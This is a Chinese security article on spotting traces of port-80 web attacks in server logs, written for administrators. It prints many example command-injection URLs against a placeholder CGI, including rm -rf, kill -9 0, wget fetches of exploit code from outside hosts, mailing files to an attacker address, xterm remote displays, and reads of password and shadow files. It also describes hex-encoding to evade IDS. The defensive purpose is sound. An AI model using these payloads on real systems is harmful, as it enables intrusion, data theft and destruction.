安全檢測80端口Web服務攻擊痕跡(下)

  • 下面部分將討論更多的攻擊者可能執行的命令,連同被請求的文件,以及如果你有遠程執行命令的缺陷,應該怎樣檢查發現它。這部分只是給你個好的思路,並告訴你的系統發生了什麼,攻擊者嘗試攻擊你的系統的痕跡,但並不能列舉所有的攻擊者使用的命令和請求的方式。  
    "/bin/ls"  
    這個命令請求整個路徑,在很多的web應用程序中都有這個漏洞,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠程執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。再一次提醒,寫好的web應用程序(cgi,asp,php...etc)是安全的基礎  
    Example:  
    http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|  
    http://host/cgi-bin/bad.cgi?doh=ls%20-al;  
    "cmd.exe"  
    這是一個windows的shell,一個攻擊者如果訪問並運行這個腳本,在服務器設置允許的條件下可以在windows機器上做任何事情,很多的蠕蟲病毒就是通過80端口,傳播到遠程的機器上  
    http://host/scripts/something.asp=../../WINNT/sys tem32/cmd.exe?dir+e:  
    "/bin/id"  
    這是個2進制的文件,它的問題和/bin/ls一樣,如果你在日誌中很多地方都看到這種請求,很大的可能性是存在遠程執行命令漏洞,但並不一定是個問題,也可能是個錯誤的警報。  
    它將顯示屬於哪個用戶和屬於哪個組  
    Example:  
    http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|  
    http://host/cgi-bin/bad.cgi?doh=id;  
    "/bin/rm"  
    這個命令可以刪除文件,如果不正確的使用是非常危險的  
    Examples:  
    http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|  
    http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;  
    "wget and tftp" 命令  
    這些命令常被攻擊者用來下載可能進一步獲得特權的文件,wget是unix下的命令,可能被用來下載後門程序,tftp是unix和nt下的命令,用來下載文件。一些IIS蠕蟲通過tftp來複制自身傳播病毒到其他的主機  
    Examples:  
    http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;  
    "cat" 命令  
    這個命令用來查看文件內容,常用來讀重要的信息,比如配置文件,密碼文件,信用卡文件和你能夠想到的文件  
    Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;  
    "echo" 命令  
    這個命令常用於寫數據到文件中,比如“index.html”  
    Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt| http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;  
    "ps" 命令  
    列出當前運行的進程,告訴攻擊者遠程主機運行了那些軟件,以便從中得到一些安全問題的主意,獲得進一步的權限  
    Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| http://host/cgi-bin/bad.cgi?doh=ps%20-aux;  
    "kill and killall" 命令  
    在unix系統這個命令用於殺掉進程,一個攻擊者可以用這個命令來停止系統服務和程序,同時可以擦掉攻擊者的痕跡,一些exploit會產生很多的子進程  
    Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;  
    "uname" 命令  
    這個命令告訴攻擊者遠程機器的名字,一些時候,通過這個命令知道web站點位於哪個isp,也許是攻擊者曾今訪問過的。通常uname -a來請求,這些都將記錄在日誌文件中  
    Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| http://host/cgi-bin/bad.cgi?doh=uname%20-a;  
    "cc, gcc, perl, python, etc..." 編譯/解釋命令  
    攻擊者通過wget或者tftp下載exploit,並用cc,gcc這樣的編譯程序進行編譯成可執行程序,進一步獲得特權  
    Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;  
    如果你查看日誌中發現有“perl” python”這些說明可能攻擊者下載遠程的perl ,python腳本程序,並試圖本地獲得特權  
    "mail" 命令  
    攻擊者通常用這個命令將系統的一些重要文件發到攻擊者自己的信箱,也肯能是進行郵件炸彈的攻擊  
    Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@好好學習cnhonker.org%20<<%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=mail%[email protected]%20<</tmp/wu-2.6.1.c;  
    "xterm/其他X 應用程序" 命令  
    xterm 常用來獲得遠程機器上的shell,如果你在你的日誌中發現這些符號,可要認真分析你的系統,可能已經存在安全裂口。注意在日誌中查找"%20-display%20" 這個字符,這種痕跡通常是在遠程機子上啓動xterm或者X應用程序  
    Examples: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1| http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;  
    "chown, chmod, chgrp, chsh, etc..." 等命令  
    在unix系統這些命令允許改變文件的許可權限  
    chown = 允許設置文件的擁有者chmod = 允許設置文件的許可權限chgrp = 允許改變組對文件的擁有權限chsh = 允許改變用戶的shell  
    Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html| http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd| http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|  
    "/etc/passwd" 文件  
    這是系統的密碼文件,一般是shadow過的,並且不允許看到加密的口令,不過對攻擊者來說,可以知道那些是有效的用戶,以及系統的絕對路徑,站點名稱等信息,由於通常被shadow過的,所以對攻擊者,通常會查看/etc/shadow 文件  
    "/etc/master.passwd"  
    這個文件是BSD系統的密碼文件,包含有加密過的密碼,這個文件對root帳號僅僅是隻讀的,而一些不熟練的攻擊者會打開他試圖讀取裏面的內容.,如果web站點是以root權限運行的,那麼對攻擊者來說,就能夠讀取裏面的內容,對系統管理員很多問題也將接踵而來  
    "/etc/shadow"  
    包含有加密過的系統口令,對root帳號同樣只讀,和/et/master.passwd差不多  
    "/etc/motd"  
    當用戶登陸進unix系統中出現的信息,就在這個"Message of the Day" 文件中 ,它提供重要的系統信息和管理員對用戶的一些設置,那些是希望用戶看到的,那些不是,還含有系統的版本信息,攻擊者通常查看此文件,瞭解是什麼系統在運行,對攻擊者來說,下一步是搜索這種類型的系統的exploit,進一步獲得系統特權  
    "/etc/hosts"  
    該文件提供ip地址和網絡信息,攻擊者可以瞭解更多的系統中的網絡設置  
    "/usr/local/apache/conf/httpd.conf"  
    這是個Apache web服務器的配置文件,攻擊者可以瞭解諸如cgi,ssi是否可訪問等信息  
    "/etc/inetd.conf"  
    這是inetd服務的配置文件,攻擊者可以瞭解遠程機器上的那些服務啓動,是否用了wrapper進行訪問控制,如果發現wrapper 運行着,攻擊者下一步會檢查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,並可能會更改裏面的一些設置,獲得特權  
    ".htpasswd, .htaccess, and .htgroup"  
    這些文件通常在web站點用於對用戶身份進行認證,攻擊者會查看這些文件,並獲得用戶名和密碼,密碼文件.htpasswd被加密過,通過一些簡單的破解程序進行解密,使攻擊者訪問站點中被保護的區域(通常用戶用和用戶名相同的密碼,以至攻擊者可以以其他帳號進行訪問)  
    "access_log and error_log"  
    這些是apache服務器的日誌記錄文件,攻擊者常會查看這些文件,看那些請求被記錄,那些和其他請求不同的地方  
    通常,攻擊者會修改這些日誌文件,比如他自身的地址信息,攻擊者通過80端口突破你的系統,而你的系統又沒有進行備份的工作,也沒有其他記錄程序記錄系統狀況,這將使入侵檢測工作變的很困難  
    "[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"  
    Windows NT系統中的密碼文件,如果遠程命令不可以執行,通常攻擊者會請求這些文件,然後通過"l0pht crack"之類的密碼破解工具進行破解,如果攻擊者試圖攻擊administrator的密碼文件,如果成功那麼遠程機器將被攻擊者得到控制權  
    [溢出 分析]  
    我不會在這篇文章中說過多的關於溢出的話題,我將舉列說明那些現象和痕跡值得注意和特別關注的地方,緩衝攻擊常被攻擊者通過編碼轉換和其他途徑來達到不易發現  
    下面是個簡單的列子  
    Example: http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAA AAAAAAAAAA 
    這個列子展示了攻擊者對某個應用程序發送很多的A字符,來測試程序的緩衝溢出,緩衝溢出可以獲得遠程主機的命令執行權限,如果是具有setuid和屬主爲root的程序,通過溢出,可以得到整個系統的訪問權限,如果不是setuid之類的程序,那麼溢出僅僅是得到運行該web站點的用戶權限  
    這裏並不能講述所有的情況,不過你應該有定時的檢查你的日誌文件,如果那一天突然發現很多的請求,而平時的請求不多,那麼說明你正遭受到溢出的攻擊,當然也可能是一種新的網絡蠕蟲的攻擊  
    [編碼轉換]  
    以上提及的所有攻擊請求,攻擊者通常知曉IDS系統常會機械的檢查這些請求,通常是攻擊者會用編碼轉換工具將所請求的內容轉化成16進制的格式,導致IDS會忽略這些請求,我們熟知的CGI漏洞掃描工具Whisker就是個很好的列子。如果你在查看日誌的時候發現大量的16進制和不常見的一些字符,那麼可能攻擊者嘗試用一些方式對你的系統進行攻擊  
    一種快速發現的方法是,將你的日誌文件中的那些16進制的請求,拷貝到你的瀏覽器中,通過瀏覽器可以轉化成正確的請求,並顯示出來請求的內容,如果你不敢冒這個危險,簡單的man ASCII,可以提供給你正確的編碼。  
    [結論]  
    這篇文章不可能覆蓋所有的80端口的攻擊,但是以上已經列舉了大部分普遍的攻擊方式,同時告訴你如何檢查你的日誌文件,和怎樣加如一些IDS的規則,寫她的目的在於給web系統管理員應該關注什麼提供一個好的思路,同時,我也希望這篇文章可以幫助給web程序的開發者寫出更好的web程序.
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章